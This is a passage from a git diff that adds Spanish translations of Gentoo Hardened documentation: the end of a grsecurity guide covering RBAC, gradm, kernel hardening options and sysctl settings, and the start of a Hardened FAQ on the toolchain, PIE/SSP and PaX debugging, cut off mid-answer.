+La configuración del núcleo recomendada para RBAC es:
+</p>
+
+<pre caption="Configuración del núcleo recomendada para RBAC">
+<comment>#
+# Role Based Access Control Options
+#</comment>
+CONFIG_GRKERNSEC_ACL_HIDEKERN=y
+CONFIG_GRKERNSEC_ACL_MAXTRIES=3
+CONFIG_GRKERNSEC_ACL_TIMEOUT=30
+</pre>
+
+</body>
+</section>
+<section>
+<title>Trabajando con gradm</title>
+<body>
+
+<p>
+<c>gradm</c> es una herramienta que le permite administrar y mantener un
+política para su sistema. Con ella puede activar o desactivar el sistema RBAC,
+recargar los roles RBAC, cambiar su rol, configurar un contraseña para el modo
+de administración, etcétera.
+</p>
+
+<p>
+Cuando instala <c>gradm</c> se dejará la política por defecto en
+<path>/etc/grsec/policy</path>:
+</p>
+
+<pre caption="Instalando gradm">
+# <i>emerge gradm</i>
+</pre>
+
+<p>
+Por defecto, las políticas RBAC no están activadas. Es tarea del administrador
+y no de Gentoo determinar cuándo el sistema debería poner en vigor una política
+RBAC. Antes de activar el sistema RBAC debería ajustar una contraseña de
+administración.
+</p>
+
+<pre caption="Activando el sistema RBAC">
+# <i>gradm -P</i>
+Setting up grsecurity RBAC password
+Password: <comment>(Ingrese una astuta contraseña)</comment>
+Re-enter Password: <comment>(Ingrese la misma contraseña para confirmar)</comment>
+Password written in /etc/grsec/pw
+# <i>gradm -E</i>
+</pre>
+
+<p>
+Para desactivar el sistema RBAC, ejecute <c>gradm -D</c>. Si no se le permite,
+primero necesita cambiarse al rol de administrador:
+</p>
+
+<pre caption="Desactivando el sistema RBAC">
+# <i>gradm -a admin</i>
+Password: <comment>(Ingrese su contraseña del rol administrador)</comment>
+# <i>gradm -D</i>
+</pre>
+
+<p>
+Si desea salir del rol de administrador, ejecute <c>gradm -u admin</c>:
+</p>
+
+<pre caption="Saliendo del rol de administrador">
+# <i>gradm -u admin</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Generando una Política</title>
+<body>
+
+<p>
+El sistema RBAC viene con una excelente característica denominada "modo de
+aprendizaje". Dicho modo puede generar una política previsora de mínimos
+privilegios para su sistema. Esto permite ahorros de tiempo y dinero para poder
+instalar múltiples servidores seguros.
+</p>
+
+<p>
+Para usar el modo de aprendizaje, actívelo usando <c>gradm</c>:
+</p>
+
+<pre caption="Activanado el modo de aprendizaje de RBAC">
+# <i>gradm -F -L /etc/grsec/learning.log</i>
+</pre>
+
+<p>
+Ahora use sistema, haga las cosas que normalmente haría. Intente evitar hacer
+una resincronización, ejecutar locate u otra operación de archivos pesada en
+términos de E/S ya que esto realmente puede ralentizar el tiempo de
+procesamiento.
+</p>
+
+<p>
+Cuando crea  que ha usado su sistema lo suficiente para obtener una buena
+política, deje que <c>gradm</c> la procese y le preponga roles en
+<path>/etc/grsec/learning.roles</path>:
+</p>
+
+<pre caption="Procesando las bitácoras del modo de aprendizaje">
+# <i>gradm -F -L /etc/grsec/learning.log -O /etc/grsec/learning.roles</i>
+</pre>
+
+<p>
+Audite el archivo <path>/etc/grsec/learning.roles</path> y guárdelo como
+<path>/etc/grsec/policy</path> (con permisos 0600) cuando esté listo.
+</p>
+
+<pre caption="Guardando las políticas">
+# <i>mv /etc/grsec/learning.roles /etc/grsec/policy</i>
+# <i>chmod 0600 /etc/grsec/policy</i>
+</pre>
+
+<p>
+Ahora ya puede activar el sistema RBAC con su nueva e instruida política.
+</p>
+
+</body>
+</section>
+<section>
+<title>Refinando su Política</title>
+<body>
+
+<p>
+Una interesante característica de grsecurity 2.x es el <e>Soporte de
+Operación de Conjuntos</e> en el archivo de configuración. Actualmente
+se reconocen uniones, intersecciones y diferencias de conjuntos (de
+objetos en este caso).
+</p>
+
+<pre caption="Conjuntos de ejemplo">
+define objset1 {
+/root/blah rw
+/root/blah2 r
+/root/blah3 x
+}
+
+define somename2 {
+/root/test1 rw
+/root/blah2 rw
+/root/test3 h
+}
+</pre>
+
+<p>
+Aquí hay un ejemplo de uso, y los objetos resultantes que serán añadidos a su
+sujeto:
+</p>
+
+<pre caption="Ejemplo del operador interesección &amp;">
+subject /somebinary o
+$objset1 &amp; $somename2
+</pre>
+
+<p>
+Lo de arriba se expandiría a:
+</p>
+
+<pre caption="Ajustes de resultado al sujeto">
+subject /somebinary o
+/root/blah2 r
+</pre>
+
+<p>
+Este es el resultado del operador &amp; el cual toma ambos conjuntos y
+retorna los archivos que existen en ambos conjuntos y los permisos
+para esos archivos que existen en ambos conjuntos.
+</p>
+
+<pre caption="Ejemplo del operador unión |">
+subject /somebinary o
+$objset1 | $somename2
+</pre>
+
+<p>
+Este ejemplo se expandiría a:
+</p>
+
+<pre caption="Ajustes de resultado al sujeto">
+subject /somebinary o
+/root/blah rw
+/root/blah2 rw
+/root/blah3 x
+/root/test1 rw
+/root/test3 h
+</pre>
+
+<p>
+Este es el resultado del operador de unión "|" el cual toma ambos conjuntos y
+entrega los archivos que existen en alguno de los conjuntos. Si un archivo
+existe en ambos conjuntos también se retorna y el modo contiene las banderas que
+existen en alguno de los conjuntos.
+</p>
+
+<pre caption="Ejemplo de diferencia -">
+subject /somebinary o
+$objset1 - $somename2
+</pre>
+
+<p>
+Este ejemplo se expandiría a:
+</p>
+
+<pre caption="Ajustes de resultado al sujeto">
+subject /somebinary o
+/root/blah rw
+/root/blah2 h
+/root/blah3 x
+</pre>
+
+<p>
+Este es el resultado del operador de diferencia "-" que toma dos conjuntos y
+retorna los archivos que existen en el conjunto de la izquierda pero no en el
+calce del archivo en el conjunto de la derecha. Si un archivo existe en el
+conjunto izquierdo y se encuentra un calce en el de la derecha (ya sea que los
+nombres de archivos son iguales, o el directorio padre existe en el conjunto de
+la derecha) entonces se retorna el archivo y el modo del segundo conjunto se
+borra del primero, y ese archivo se retorna.
+</p>
+
+<p>
+En algún oscuro pseudo lenguaje podría ver esto como:
+</p>
+
+<pre caption="Explicación en Pseudolenguaje">
+si ( (<i>$objset1</i> contiene <i>/tmp/blah rw</i>) y
+     (<i>$objset2</i> contiene <i>/tmp/blah r</i>) )
+entonces
+  <i>$objset1 - $objset2</i> contendría <i>/tmp/blah w</i>
+
+si ( (<i>$objset1</i> contiene <i>/tmp/blah rw</i>) y
+     (<i>$objset2</i> contiene<i>/ rwx</i>) )
+entonces
+  <i>$objset1 - $objset2</i> contendría <i>/tmp/blah h</i>
+</pre>
+
+<p>
+El orden de prioridad (de mayor a menor) es: "-, &amp; |".
+</p>
+
+<p>
+Si no quiere preocuparse de recordar la precedencia, también se incluye
+reconocimiento de paréntesis, así que puede hacer cosas como:
+</p>
+
+<pre caption="Ejemplo de uso de paréntesis">
+(($set1 - $set2) | $set3) &amp; $set4
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Protección del Sistema de Archivos</title>
+<section>
+<title>Luchando contra el enjaulamiento (chroot) y abuso del sistema de archivos</title>
+<body>
+
+<p>
+Grsecurity2 incluye muchos parches que prohiben a los usuarios de obtener
+conocimiento innecesario acerca del sistema. Estos incluyen restricciones sobre
+el uso de <path>/proc</path>, enjaulado (chrooting), enlazado, etcétera.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configuración del Núcleo</title>
+<body>
+
+<p>
+Recomendamos la siguiente configuración de grsecurity en el núcleo para
+protección del sistema de archivos:
+</p>
+
+<pre caption="Activando la protección del sistema de archivos">
+<comment>#
+# Filesystem Protections
+#</comment>
+CONFIG_GRKERNSEC_PROC=y
+<comment># CONFIG_GRKERNSEC_PROC_USER is not set</comment>
+CONFIG_GRKERNSEC_PROC_USERGROUP=y
+CONFIG_GRKERNSEC_PROC_GID=10
+CONFIG_GRKERNSEC_PROC_ADD=y
+CONFIG_GRKERNSEC_LINK=y
+CONFIG_GRKERNSEC_FIFO=y
+CONFIG_GRKERNSEC_CHROOT=y
+CONFIG_GRKERNSEC_CHROOT_MOUNT=y
+CONFIG_GRKERNSEC_CHROOT_DOUBLE=y
+CONFIG_GRKERNSEC_CHROOT_PIVOT=y
+CONFIG_GRKERNSEC_CHROOT_CHDIR=y
+CONFIG_GRKERNSEC_CHROOT_CHMOD=y
+CONFIG_GRKERNSEC_CHROOT_FCHDIR=y
+CONFIG_GRKERNSEC_CHROOT_MKNOD=y
+CONFIG_GRKERNSEC_CHROOT_SHMAT=y
+CONFIG_GRKERNSEC_CHROOT_UNIX=y
+CONFIG_GRKERNSEC_CHROOT_FINDTASK=y
+CONFIG_GRKERNSEC_CHROOT_NICE=y
+CONFIG_GRKERNSEC_CHROOT_SYSCTL=y
+CONFIG_GRKERNSEC_CHROOT_CAPS=y
+</pre>
+
+</body>
+</section>
+<section>
+<title>Gatillando el mecanismo de seguridad</title>
+<body>
+
+<p>
+Cuando está usando el núcleo compilado con las opciones mostradas arriba (o
+similares), obtendrá la opción de activar/desactivar muchas de las opciones a
+través del sistema de archivos <path>/proc</path> o vía <c>sysctl</c>.
+</p>
+
+<p>
+El ejemplo a continuación muestra un extracto típico de
+<path>/etc/sysctl.conf</path>:
+</p>
+
+<pre caption="Ejemplo de configuraciones dentro de /etc/sysctl.conf">
+kernel.grsecurity.chroot_deny_sysctl = 1
+kernel.grsecurity.chroot_caps = 1
+kernel.grsecurity.chroot_execlog = 0
+kernel.grsecurity.chroot_restrict_nice = 1
+kernel.grsecurity.chroot_deny_mknod = 1
+kernel.grsecurity.chroot_deny_chmod = 1
+kernel.grsecurity.chroot_enforce_chdir = 1
+kernel.grsecurity.chroot_deny_pivot = 1
+kernel.grsecurity.chroot_deny_chroot = 1
+kernel.grsecurity.chroot_deny_fchdir = 1
+kernel.grsecurity.chroot_deny_mount = 1
+kernel.grsecurity.chroot_deny_unix = 1
+kernel.grsecurity.chroot_deny_shmat = 1
+</pre>
+
+<p>
+Puede activar o desactivar a voluntad las opciones usando el comando
+<c>sysctl</c>:
+</p>
+
+<pre caption="Activando las opciones vía sysctl">
+<comment>(Activa la característica exec_logging)</comment>
+# <i>sysctl -w kernel.grsecurity.exec_logging = 1</i>
+<comment>(Desactiva la característica exec_logging)</comment>
+# <i>sysctl -w kernel.grsecurity.exec_logging = 0</i>
+</pre>
+
+<p>
+Existe una opción de configuración muy importante de sysctl, a saber,
+<c>kernel.grsecurity.grsec_lock</c>. Cuando está activada, no es posible hacer
+futuros cambios.
+</p>
+
+<pre caption="Cerrando la posibilidad de usar la interfaz sysctl">
+# <i>sysctl -w kernel.grsecurity.grsec_lock = 1</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Auditando el Núcleo</title>
+<section>
+<title>Extendiendo las facilidades de generación de bitácoras (logging) de su
+sistema</title>
+<body>
+
+<p>
+grsecurity añade a su núcleo funcionalidad extra relativa a la generación de
+bitácoras. Con la <e>Auditoría del Núcleo</e> de grsecurity, el núcleo le
+informa cuando se inician las aplicaciones, si los dispositivos son
+(des)montados, etc.
+</p>
+
+</body>
+</section>
+<section>
+<title>Las diversas configuraciones de Auditoría del Núcleo</title>
+<body>
+
+<p>
+La siguiente sección de configuración del núcleo puede ser usada para activar
+las opciones de Auditoría del Núcleo de grsecurity:
+</p>
+
+<pre caption="Activando la Auditoría del Núcleo">
+<comment>#
+# Kernel Auditing
+#
+# CONFIG_GRKERNSEC_AUDIT_GROUP is not set</comment>
+CONFIG_GRKERNSEC_EXECLOG=y
+CONFIG_GRKERNSEC_RESLOG=y
+CONFIG_GRKERNSEC_CHROOT_EXECLOG=y
+CONFIG_GRKERNSEC_AUDIT_CHDIR=y
+CONFIG_GRKERNSEC_AUDIT_MOUNT=y
+CONFIG_GRKERNSEC_AUDIT_IPC=y
+CONFIG_GRKERNSEC_SIGNAL=y
+CONFIG_GRKERNSEC_FORKFAIL=y
+CONFIG_GRKERNSEC_TIME=y
+CONFIG_GRKERNSEC_PROC_IPADDR=y
+CONFIG_GRKERNSEC_AUDIT_TEXTREL=y
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Restricciones a los procesos</title>
+<section>
+<title>Protección a los ejecutables</title>
+<body>
+
+<p>
+Con grsecurity puede restringir los ejecutables. Debido a que la mayoría de los
+exploits funcionan mediante uno o más procesos en ejecución, esta protección
+puede salvar la salud de su sistema.
+</p>
+
+</body>
+</section>
+<section>
+<title>Protección de la red</title>
+<body>
+
+<p>
+La pila TCP/IP de Linux es vulnerable a ataques basados en predicciones.
+Grsecurity incluye parches de aleatorización para contrarrestar esos ataques.
+Aparte de esos parches, también puede activar restricciones a los sockets, con
+lo que se prohibe completamente el acceso a la red a ciertos grupos.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configuraciones del Núcleo</title>
+<body>
+
+<p>
+Las siguientes opciones del núcleo activan varias protecciones de red y
+ejecutables:
+</p>
+
+<pre caption="Configuraciones del Núcleo">
+<comment>#
+# Executable Protections
+#</comment>
+CONFIG_GRKERNSEC_EXECVE=y
+CONFIG_GRKERNSEC_DMESG=y
+CONFIG_GRKERNSEC_RANDPID=y
+CONFIG_GRKERNSEC_TPE=y
+CONFIG_GRKERNSEC_TPE_ALL=y
+CONFIG_GRKERNSEC_TPE_GID=100
+
+<comment>#
+# Network Protections
+#</comment>
+CONFIG_GRKERNSEC_RANDNET=y
+CONFIG_GRKERNSEC_RANDISN=y
+CONFIG_GRKERNSEC_RANDID=y
+CONFIG_GRKERNSEC_RANDSRC=y
+CONFIG_GRKERNSEC_RANDRPC=y
+<comment># CONFIG_GRKERNSEC_SOCKET is not set</comment>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>El toolchain de Hardened</title>
+<section>
+<body>
+
+<p>
+Aunque está fuera del alcance de este documento, mencionamos el uso del
+toolchain de Hardened que completa el modelo grsec/PaX desde el espacio del
+usuario (userspace). Como consejo rápido puede hacer:
+</p>
+
+<pre caption="Usando el toolchain de Hardened">
+# <i>cd /etc</i>
+# <i>rm make.profile</i>
+# <i>ln -s ../usr/portage/profiles/hardened/x86 make.profile</i>
+# <i>emerge -e world</i>
+</pre>
+
+<p>
+Si no quiere usar este perfil, agregue estas banderas USE <c>hardened pic</c> a
+su variable USE en <path>/etc/make.conf</path>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Recursos</title>
+<section>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://grsecurity.net/">Página Oficial de Grsecurity (en
+    inglés)</uri></li>
+  <li><uri link="http://forums.grsecurity.net/">Foros de Grsecurity</uri></li>
+  <li>
+    <uri link="http://grsecurity.net/researchpaper.pdf">Incrementando el
+    rendimiento y granularidad en Sistemas de Control de Acceso basados en
+    Roles (en inglés)</uri>
+  </li>
+  <li>
+    <uri link="http://www.gentoo.org/proj/en/hardened/capabilities.xml">
+    Nombres y descripción de capacidades POSIX</uri>
+  </li>
+  <li>
+    <uri link="http://grsecurity.net/quickstart.pdf">Guía de inicio rápido de
+    Grsecurity (en inglés)</uri> (Nuevo archivo PDF)
+  </li>
+  <li>
+    <uri link="http://www.gentoo.org/proj/es/hardened/pax-quickstart.xml">Guía
+    de inicio rápido para usa PaX con Gentoo</uri> (NUEVO)
+  </li>
+  <li>
+    <uri link="http://hardened.gentoo.org/grsecurity.xml">Grsecurity con Gentoo
+    el sistema MAC 1.9.x (en inglés)</uri> (ANTIGUO)
+  </li>
+  <li>
+    <uri link="http://grsecurity.net/PaX-presentation_files/frame.htm">PaX: El
+    fin garantizado de ejecución de código arbitrario (en inglés)</uri>
+  </li>
+  <li>
+    <uri link="http://pax.grsecurity.net">Documentación y página principal de
+    PaX (en inglés)</uri>
+  </li>
+  <li>
+    <uri link="http://www.gentoo.org/proj/en/infrastructure/tenshi">Tenshi (en
+    inglés)</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/es/hardened/hardenedfaq.xml b/xml/htdocs/proj/es/hardened/hardenedfaq.xml
new file mode 100644
index 00000000..b552d834
--- /dev/null
+++ b/xml/htdocs/proj/es/hardened/hardenedfaq.xml
@@ -0,0 +1,694 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/hardened/hardenedfaq.xml" lang="es">
+<title>Preguntas de Uso Frecuente de Gentoo Hardened</title>
+<author title="Autor">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Contribuidor">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Contribuidor">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>
+<author title="Contribuidor">
+  <mail link="pageexec@freemail.hu">El equipo de PaX</mail>
+</author>
+<author title="Traductor">
+  <mail link="jgascon@gmail.com">Jaime Gascón Romero</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux"/>
+</author>
+
+<abstract>
+Preguntas frecuentes surgidas en el canal IRC #gentoo-hardened y la
+lista de correos gentoo-hardened.
+</abstract>
+
+<version>1.9</version>
+<date>2006-02-18</date>
+
+<chapter>
+<title>Preguntas</title>
+<section>
+<title>Generales</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#toolchain">¿Qué es exactamente el "toolchain"?</uri>
+  </li>
+  <li>
+    <uri link="#whichisbetter">¿Qué debería usar: grsecurity, RSBAC o
+    SELinux?</uri>
+  </li>
+  <li>
+    <uri link="#aclall">¿Se pueden usar usar grsecurity, RSBAC,
+    SELinux y PaX al mismo tiempo?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedcflags">¿Necesito usar alguna bandera en
+    LDFLAGS/CFLAGS para activar la compilación de PIE/SSP?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedcflagsoff">¿Cómo desactivo la compilación de
+    PIE/SSP?</uri>
+  </li>
+  <li>
+    <uri link="#fsexec">La compilación de mi núcleo falla con el
+    error: "error: structure has no member named `curr_ip'", ¿cómo lo
+    arreglo?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedproject">Acabo de encontrar el proyecto
+    hardened, ¿tengo que instalar todo lo de la página del proyecto
+    para instalar Gentoo Hardened?</uri>
+  </li>
+  <li>
+    <uri link="#Othreessp">¿Por qué no funcionan mis programas cuando
+    uso gcc hardened y CFLAGS="-O3"?</uri>
+  </li>
+  <li>
+    <uri link="#cascadebootstrap">¿Qué ha pasado con
+    bootstrap-cascade.sh?</uri>
+  </li>
+  <li>
+    <uri link="#hardenedprofile">¿Cómo cambio al perfil
+    hardened?</uri>
+  </li>
+  <li>
+    <uri link="#hardeneddebug">¿Cómo depuro con gdb?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>PaX</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#paxinformation">¿Cuál es el sitio Web de PaX?</uri>
+  </li>
+  <li>
+    <uri link="#paxgentoodoc">¿Qué documentación hay en Gentoo sobre
+    PaX?</uri>
+  </li>
+  <li>
+    <uri link="#paxnoelf">Me sale este mensaje: "error while loading
+    shared libraries: cannot make segment writable for relocation:
+    Permission denied." ¿Qué significa?</uri>
+  </li>
+  <li>
+    <uri link="#paxjava">Desde que uso PaX no me funciona Java, ¿por
+    qué?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>grsecurity</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#grsecinformation">¿Cuál es el sitio Web de
+    grsecurity?</uri>
+  </li>
+  <li>
+    <uri link="#grsecgentoodoc">¿Qué documentación hay en Gentoo sobre
+    Grsecurity?</uri>
+  </li>
+  <li>
+    <uri link="#grsec2681">¿Puedo usar Grsecurity con un núcleo 2.6.8,
+    2.6.8.1, o 2.6.9?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>RSBAC</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#rsbacinformation">¿Cuál es el sitio Web de
+    RSBAC?</uri>
+  </li>
+  <li>
+    <uri link="#rsbacgentoodoc">¿Qué documentación hay en Gentoo sobre
+    RSBAC?</uri>
+  </li>
+  <li>
+    <uri link="#rsbacinitrd">¿Cómo uso un disco de inicio RAM con
+    RSBAC?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>SELinux</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="#selinuxfaq">¿Dónde están las preguntas de uso
+    frecuente relacionadas con SELinux?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Generales</title>
+<section id="toolchain">
+<title>¿Qué es exactamente el "toolchain"?</title>
+<body>
+
+<p>
+El término "toolchain" se refiere a la combinación de paquetes de
+software usados normalmente para construir y desarrollar para una
+arquitectura determinada. El toolchain que tal vez haya oído nombrar
+en el canal de IRC #gentoo-hardened consiste en el conjunto de
+compiladores GCC (GNU Compiler Collection), binutils, y la librería C
+de GNU (glibc).
+</p>
+
+</body>
+</section>
+
+<section id="whichisbetter">
+<title>¿Qué debería usar: grsecurity, RSBAC o SELinux?</title>
+<body>
+
+<p>
+La respuesta a esta pregunta es muy subjetiva, el proyecto Gentoo
+Hardened sólo intenta proporcionar las tecnologías y dejar la elección
+de cual usar al usuario. Esta decisión requiere mucha investigación
+que esperamos facilitar con esta documentación. Sin embargo, si tiene
+preguntas específicas acerca del modelo de seguridad que proporciona
+cada una, no dude en preguntar al desarrollador pertinente en el canal
+de IRC o en la lista de correo.
+</p>
+
+</body>
+</section>
+
+<section id="aclall">
+<title>¿Se pueden usar usar grsecurity, RSBAC, SELinux y PaX al mismo
+tiempo?</title>
+<body>
+
+<p>
+Sí, es posible combinarlos ya que PaX funciona con grsecurity, RSBAC y
+SELinux.  Sólo habría problemas si sólo puede usar un sistema de
+control de acceso.
+</p>
+
+</body>
+</section>
+
+<section id="hardenedcflags">
+<title>¿Necesito usar alguna bandera en LDFLAGS/CFLAGS para activar la
+compilación de PIE/SSP?</title>
+<body>
+
+<p>
+No, el toolchain actual implementa el equivalente de <c>CFLAGS="-fPIE
+-fstack-protector-all" LDFLAGS="-Wl,-z,now -Wl,-z,relro"</c>
+automáticamente mediante el archivo de especificaciones de GCC lo
+cual, es una solución más apropiada. Los usuarios de hardened-gcc
+anteriores deben añadir <c>USE="hardened pic"</c> a su
+<path>/etc/make.conf</path> y actualizar con las siguientes ordenes:
+</p>
+
+<pre caption="Instalación del Toolchain Hardened">
+# <i>emerge --oneshot binutils gcc virtual/libc</i>
+# <i>emerge -e world</i>
+</pre>
+
+<note>
+Gentoo parchea sus GCCs para permitir que se pasen archivos de
+especificaciones mediante una variable de entorno. Actualmente se
+instalan varios conjuntos de archivos de especificaciones en los
+sistemas Gentoo para permitir a los usuarios de arquitecturas
+soportadas activar o desactivar fácilmente la funcionalidad del
+toolchain. Para acceder a los archivos de especificación como usuario
+puede usar la utilidad gcc-config.
+</note>
+
+</body>
+</section>
+
+<section id="hardenedcflagsoff">
+<title>¿Cómo desactivo la compilación de PIE/SSP?</title>
+<body>
+
+<p>
+Puede usar <c>gcc-config</c> para hacerlo:
+</p>
+
+<pre caption="Ejemplo de salida de gcc-config">
+# gcc-config -l
+ [1] i686-pc-linux-gnu-3.4.4 *
+ [2] i686-pc-linux-gnu-3.4.4-hardenednopie
+ [3] i686-pc-linux-gnu-3.4.4-hardenednopiessp
+ [4] i686-pc-linux-gnu-3.4.4-hardenednossp
+ [5] i686-pc-linux-gnu-3.4.4-vanilla
+
+<comment>Para desactivar el soporte SSP y cambiar al perfil
+hardenednossp</comment>
+# gcc-config i686-pc-linux-gnu-3.4.4-hardenednossp
+</pre>
+
+<p>
+Puede conseguir lo mismo cambiando sus CFLAGS:
+</p>
+
+<p>
+Para desactivar el uso de SSP en la compilación cuando se usa el
+toolchain hardened añada <c>-fno-stack-protector-all
+-fno-stack-protector</c> a sus CFLAGS.
+</p>
+
+<p>
+Si quiere deshabilitar el uso de PIE añada <c>-nopie</c> a sus
+<c>CFLAGS</c>.
+</p>
+
+<impo>
+No se debe usar la bandera <c>-fno-pic</c> ya que habilita
+específicamente el código no PIC. En cambio, si usa <c>-nopie</c>
+revertirá al comportamiento "vanilla" de GCC que seguramente era el lo
+que deseaba.
+</impo>
+
+<note>
+Si está interesado en usar CFLAGS distintas dependiendo del paquete
+con Portage seguro que le interesará el script que ha desarrollado
+solar para tal propósito:
+<uri>http://article.gmane.org/gmane.linux.gentoo.hardened/1204</uri>
+</note>
+
+</body>
+</section>
+
+<section id="fsexec">
+<title>La compilación de mi núcleo falla con el error: "error:
+structure has no member named `curr_ip'", ¿cómo lo arreglo?</title>
+<body>
+
+<p>
+Para usar PaX con las fuentes hardened-sources debe activar también
+Grsecurity en la configuración de su núcleo. Esto debería estar
+resuelto en futuros núcleos.
+</p>
+
+</body>
+</section>
+
+<section id="hardenedproject">
+<title>Acabo de encontrar el proyecto hardened, ¿tengo que instalar
+todo lo de la página del proyecto para instalar Gentoo
+Hardened?</title>
+<body>
+
+<p>
+No, el Proyecto Gentoo Hardened es una colección de subproyectos que
+tienen como meta común la seguridad. Mientras que muchos de estos
+proyectos pueden ser instalados conjuntamente, pueden surgir algunos
+conflictos debido a las diversas implementaciones de listas de control
+de acceso (ACL) que ofrece el proyecto Gentoo Hardened.
+</p>
+
+</body>
+</section>
+
+<section id="Othreessp">
+<title>¿Por qué no funcionan mis programas cuando uso gcc hardened y
+CFLAGS="-O3"?</title>
+<body>
+
+<p>
+Se sabe que el uso de la bandera de optimización <c>-O3</c> puede dar
+problemas con el uso de la protección de ruptura de la pila SSP
+(Stack-Smashing protector). Este bandera de optimización no está
+soportado oficialmente y por lo tanto el equipo de hardened aconseja
+que no se use. Los problemas de compilación cuando un usuario usa
+<c>CFLAGS="-O3"</c> serán marcados como INVALID/CANTFIX e ignorados.
+</p>
+
+</body>
+</section>
+
+<section id="cascadebootstrap">
+<title>¿Qué ha pasado con bootstrap-cascade.sh?</title>
+<body>
+
+<p>
+Recientemente, el antiguo bootstrap.sh y bootstrap-2.6.sh han sido
+marcados como obsoletos. En su lugar, bootstrap-cascade.sh se ha
+renombrado a bootstrap.sh.
+</p>
+</body>
+</section>
+
+<section id="hardenedprofile">
+<title>¿Cómo cambio al perfil hardened?</title>
+<body>
+
+<pre caption="Ajustar make.profile">
+# <i>eselect profile list</i>
+[1]   default/linux/amd64/10.0
+[2]   default/linux/amd64/10.0/desktop
+[3]   default/linux/amd64/10.0/desktop/gnome *
+[4]   default/linux/amd64/10.0/desktop/kde
+[5]   default/linux/amd64/10.0/developer
+[6]   default/linux/amd64/10.0/no-multilib
+[7]   default/linux/amd64/10.0/server
+[8]   hardened/linux/amd64/10.0
+[9]   hardened/linux/amd64/10.0/no-multilib
+[10]  selinux/2007.0/amd64
+[11]  selinux/2007.0/amd64/hardened
+[12]  selinux/v2refpolicy/amd64
+[13]  selinux/v2refpolicy/amd64/desktop
+[14]  selinux/v2refpolicy/amd64/developer
+[15]  selinux/v2refpolicy/amd64/hardened
+[16]  selinux/v2refpolicy/amd64/server
+# <i>eselect profile set 8</i> <comment>(Reemplace 8 por el perfil hardened deseado)</comment>
+</pre>
+
+<p>
+Tras configurar su perfil debería recompilar su sistema usando el
+toolchain de hardened para tener una base consistente:
+</p>
+
+<pre caption="Cambio al toolchain hardened">
+# <i>emerge --oneshot binutils gcc virtual/libc</i>
+# <i>emerge -e world</i>
+</pre>
+</body>
+</section>
+
+<section id="hardeneddebug">
+<title>¿Cómo depuro con gdb?</title>
+<body>
+
+<p>
+El primer problema es que GDB no resuelve símbolos en ejecutables PIE,
+no se da cuenta de que las direcciones en dichos ejecutables son
+relativas y no absolutas. Esto se pone de manifiesto, por ejemplo,
+cuando se intenta obtener un "backtrace" y se ve un flujo de líneas
+con caracteres '??' donde debería estar el símbolo en cuestión.
+</p>
+
+<p>
+Para solucionar esto realice la etapa final de enlazado con la bandera
+<c>-nopie</c>, todas las compilaciones de objetos anteriores serán
+<c>-fPIE</c> como es normal (la opción predeterminada con el
+compilador hardened), lo que hará el ejecutable sea lo más próximo
+posible a como debería ser, aunque el enlazado final creará un
+ejecutable normal. Intente añadir <c>-nopie</c> a las LDFLAGS si está
+usando emerge.
+</p>
+
+<p>
+Otra forma de hacerlo, es haciendo un emerge del paquete
+>=sys-devel/gdb-7.1, que contiene un parche que le permite depurar
+ejecutables enlazados con -pie.
+</p>
+
+<p>
+El segundo problema es que PaX puede evitar que GDB establezca puntos
+de ruptura dependiendo de como se haya configurado el núcleo. Esto
+incluye el punto de ruptura en el main que usted necesita para
+empezar. Para evitar que PaX interfiera con el ejecutable a depurar
+necesita las banderas <c>m</c> y <c>x</c>. La bandera <c>x</c> está
+configurada por defecto, así que basta con hacer:
+</p>
+
+<pre caption="Relajar PaX para depurar">
+# <i>/sbin/paxctl -m foo</i>
+</pre>
+
+<p>
+Llegados a este punto, ya debería estar preparado. Arranque gdb como
+lo haría normalmente y ¡buena suerte!.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Preguntas sobre PaX</title>
+<section id="paxinformation">
+<title>¿Cuál es el sitio Web de PaX?</title>
+<body>
+
+<p>
+El sitio Web de PaX es: <uri>http://pax.grsecurity.net</uri>.
+</p>
+
+</body>
+</section>
+
+<section id="paxgentoodoc">
+<title>¿Qué documentación hay en Gentoo sobre PaX?</title>
+<body>
+
+<p>
+Actualmente la única documentación que hay en Gentoo sobre PaX es la
+guía rápida de PaX en
+<uri>http://www.gentoo.org/proj/en/hardened/pax-quickstart.xml</uri>.
+</p>
+
+</body>
+</section>
+
+<section id="paxnoelf">
+<title>Me sale este mensaje: "error while loading shared libraries:
+cannot make segment writable for relocation: Permission denied." ¿Qué
+significa?</title>
+<body>
+
+<p>
+Este error ocurre cuando se activa CONFIG_PAX_NOELFRELOCS:
+</p>
+
+<pre caption="Opciones de Menuconfig">
+Non-executable page ->
+
+ [*]   Disallow ELF text relocations
+</pre>
+
+<p>
